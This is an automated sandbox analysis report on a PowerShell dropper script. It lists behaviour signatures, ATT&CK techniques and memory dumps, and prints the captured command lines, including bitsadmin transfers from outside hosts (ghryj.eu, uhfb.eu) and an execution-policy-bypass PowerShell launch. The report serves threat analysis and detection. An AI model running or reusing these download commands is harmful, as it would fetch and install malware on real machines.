32f821e84b91cdd2e998be739eb5b9d2e435827b4be84c54be34ce44a6e2ec31

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29-11-2024 10:59

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General

Target

ckJTQEOKC/WdxzhJPH.ps1
Size

2KB
MD5

9d6d8a084805bbf5d22507780d14e8f4
SHA1

27ebc6c5948855d6b5a7f1c5422a3be6a4a1e77a
SHA256

9092a282a5c56c0a19713fd3067b528efae5b27e9faa737c87a9bbf6a566cc5e
SHA512

a8142d16469fb415ad3f9212d52f0aadde797876e7735f3faebd79b57acd04688726e83047c808851ea9394b14dca0dad8c33a1e7695c4ce2a768d46a2f3597b

Score

10^/10

dropper execution

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

bitsadmin.exebitsadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2812	2708	bitsadmin.exe	31
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2088	2708	bitsadmin.exe	31

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

Processes:

bitsadmin.exebitsadmin.exe

pid	Process
2812	bitsadmin.exe
2088	bitsadmin.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2548	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
2548	powershell.exe
2548	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2548	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 2548 wrote to memory of 2272	2548	powershell.exe	32
PID 2548 wrote to memory of 2272	2548	powershell.exe	32
PID 2548 wrote to memory of 2272	2548	powershell.exe	32
PID 2548 wrote to memory of 3024	2548	powershell.exe	34
PID 2548 wrote to memory of 3024	2548	powershell.exe	34
PID 2548 wrote to memory of 3024	2548	powershell.exe	34

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2548
- C:\Windows\system32\getmac.exe
  "C:\Windows\system32\getmac.exe" /fo table
  2⤵
  PID:2272
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /reset
  2⤵
  PID:3024

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer FjgBly /priority FOREGROUND "https://ghryj.eu/post//17afbf244b4a550aa0bb727f6874471b.html" C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\0_lsass.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:2812

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer lYhrRk /priority FOREGROUND "https://uhfb.eu/post//17afbf244b4a550aa0bb727f6874471b.html" C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\1_lsass.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:2088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2548-4-0x000007FEF5CAE000-0x000007FEF5CAF000-memory.dmp

Filesize
4KB

Download
memory/2548-5-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2548-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2548-7-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-8-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-9-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-11-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-10-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-12-0x000007FEF59F0000-0x000007FEF638D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-13-0x000007FEF5CAE000-0x000007FEF5CAF000-memory.dmp

Filesize
4KB

Download